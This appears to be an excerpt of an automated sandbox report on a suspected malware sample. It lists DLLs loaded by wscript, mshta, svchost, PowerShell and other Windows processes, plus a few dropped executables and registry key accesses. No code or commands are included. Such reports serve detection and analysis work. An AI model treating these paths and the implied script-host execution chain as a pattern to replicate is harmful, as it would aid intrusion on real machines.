Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\LB31.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\LB31.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\powercfg.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\Mig\Mig.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\Mig\Mig.exe	Section loaded: winmm.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

